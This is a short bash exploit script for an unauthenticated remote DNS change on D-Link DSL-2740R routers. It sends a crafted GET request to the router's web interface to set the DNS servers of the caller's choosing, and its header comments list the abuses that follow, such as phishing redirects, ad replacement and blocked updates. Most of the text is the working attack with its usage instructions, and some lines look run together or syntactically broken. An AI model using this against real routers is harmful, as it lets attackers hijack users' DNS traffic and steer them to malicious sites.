#!/bin/bash##D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit##Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>#http://www.ethical-hacker.org/##Description:#Different D-Link Routers are vulnerable to DNS change.#The vulnerability exist in the web interface, which is #accessible without authentication. ##ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link #DEVICES MAY AFFECTED.##Once modified, systems use foreign DNS servers,which are #usually set up by cybercriminals. Users with vulnerable #systems or devices who try to access certain sites are #instead redirected to possibly malicious sites.##Modifying systems' DNS settings allows cybercriminals to #perform malicious activities like:##oSteering unknowing users to bad sites: # These sites can be phishing pages that # spoof well-known sites in order to # trick users into handing out sensitive # information.##oReplacing ads on legitimate sites: # Visiting certain sites can serve users # with infected systems a different set # of ads from those whose systems are # not infected.# #oControlling and redirecting network traffic: # Users of infected systems may not be granted # access to download important OS and software # updates from vendors like Microsoft and from # their respective security vendors.##oPushing additional malware: # Infected systems are more prone to other # malware infections (e.g., FAKEAV infection).## if[[ $# -gt 3 || $# -lt 2 ]]; then
echo " D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit"
echo "================================================================"
echo "Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
echo "Example: $0 192.168.1.1 8.8.8.8"
echo "Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
echo ""
echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
echo "http://www.ethical-hacker.org/"
exit;
fi
GET=`which GET 2>/dev/null`
if[ $? -ne 0]; then
echo "Error : libwww-perl not found =/"
exit;
fi
GET "http://$1/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=$2&dnsSecondary=$3"0&>/dev/null <&1
